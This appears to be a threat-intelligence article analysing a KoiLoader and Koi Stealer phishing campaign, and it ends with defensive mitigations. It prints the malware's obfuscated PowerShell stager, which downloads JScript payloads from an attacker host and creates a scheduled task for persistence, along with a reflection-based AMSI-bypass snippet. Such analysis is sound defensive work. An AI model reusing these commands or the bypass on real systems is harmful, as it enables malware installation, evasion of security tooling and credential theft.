Advanced Malware Campaign Leveraging KoiLoader Variant Exposes New Threats
Cybersecurity analysts have uncovered an advanced malware operation deploying an evolved version of KoiLoader, a modular malware loader notorious for distributing credential-stealing threats like Koi Stealer.
This updated variant utilizes embedded PowerShell scripts within Windows shortcut (LNK) files, effectively circumventing conventional security measures and demonstrating a shift in attack strategies.
Tactics and Initial Entry
The attack begins with phishing emails disguised as financial institution communications, tricking victims into opening ZIP files that contain malicious LNK files falsely labeled as bank statements.
Upon execution, these files exploit a Windows vulnerability (ZDI-CAN-25373) to obfuscate command-line arguments, making it challenging for traditional security solutions to detect their true purpose.
Threat researchers at eSentire’s Threat Response Unit (TRU) first identified the operation through proactive threat-hunting, revealing a complex multi-stage infection process aimed at evading endpoint detection and response (EDR) systems.
PowerShell Exploitation and Payload Deployment
The infection sequence initiates when the LNK file executes a concealed PowerShell command, downloading two JScript payloads (g1siy9wuiiyxnk.js and i7z1x5npc.js). These scripts establish persistence and launch additional malicious activities.
Attackers employ scheduled tasks to ensure continuous execution while manipulating parent-child process relationships to blend into legitimate system activity.
Persistent Compromise and Data Theft
Beyond the initial breach, KoiLoader acts as a delivery mechanism for Koi Stealer, an advanced C#-based information stealer designed to exfiltrate login credentials, cryptocurrency wallets, and sensitive documents.
Exfiltration occurs through encrypted HTTP POST requests, transmitting victim data such as operating system details, usernames, and network domain information to attacker-controlled servers.
Leveraging LOLBins for Evasion
This campaign underscores a growing reliance on “living-off-the-land” binaries (LOLBins) and script-based attack techniques to bypass security controls.
Infection Chain Analysis
Execution of the LNK file (chase_statement_march.lnk) triggers a truncated PowerShell script, which proceeds to download and store JScript payloads within the %ProgramData% directory.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('g1siy9wuiiyxnk.js i7z1x5npc'); $getf='Dow'+'nl'+'oadF'+'ile'; $w2al9zb7lb86ccs0 = New-Object Net.WebClient; $wscs = 'wscript '; $w2al9zb7lb86ccs0.$getf('https://casettalecese[.]it/.../hemigastrectomySDur.php', 'g1siy9wuiiyxnk.js'); . ('curl.exe') -s -o 76mk0ik748fo 'https://casettalecese[.]it/.../bivalviaGrr.php'; mv 76mk0ik748fo 'i7z1x5npc.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ("wscript C:\ProgramData\g1siy9wuiiyxnk.js i7z1x5npc") /tn i7z1x5npc;The primary JScript payload (g1siy9wuiiyxnk.js) eliminates the original scheduled task and re-launches the payload through wscript.exe under svchost.exe to mimic benign system behavior, effectively evading process-based threat detection.
The secondary script (i7z1x5npc.js) extracts the machine’s GUID from the registry (HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid), generates a unique identifier, and retrieves additional PowerShell scripts—one disabling AMSI (boomier10qD0.php) and another (nephralgiaMsy.ps1) responsible for injecting KoiLoader into system memory.
Advanced Obfuscation Techniques
KoiLoader leverages reflective code injection techniques to bypass AMSI:
$vl1 = ("L8Ek1EOLdflxxTT2W20qMJ0EsGk12dZO5jxvxTT2W20qMJ0EMRc4Ar2q6SDDxTT2W20qMJ0EVEWXewxquV3axTT2W20qMJ0Eybr4BrPdQsbhxTT2W20qMJ0Ez80MpPbbIoRaxTT2W20qMJ0E1zxbk5cQzLZ9xTT2W20qMJ0E8MOQx7eVpj7ZxTT2W20qMJ0EibyPDx89MPoi" -match "xTT2W20qMJ0E")
$v2=$c.GetFields("NonPublic,Static")
Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}} The final payload is decrypted and executed using XOR-based decryption keys extracted from embedded resources. Researchers identified API hashing techniques to obscure function calls such as FindResourceW and LoadResource, further complicating static analysis.
Mitigation Strategies
To counter such attacks, organizations should implement the following security measures:
- Disable wscript.exe via AppLocker to limit script execution.
- Monitor PowerShell execution logs for unusual activity.
- Deploy behavior-based EDR solutions to detect and respond to multi-stage malware infections.
As threat actors refine their strategies, leveraging script obfuscation, LOLBins, and advanced encryption, organizations must stay vigilant and enhance their defensive capabilities against evolving cyber threats.
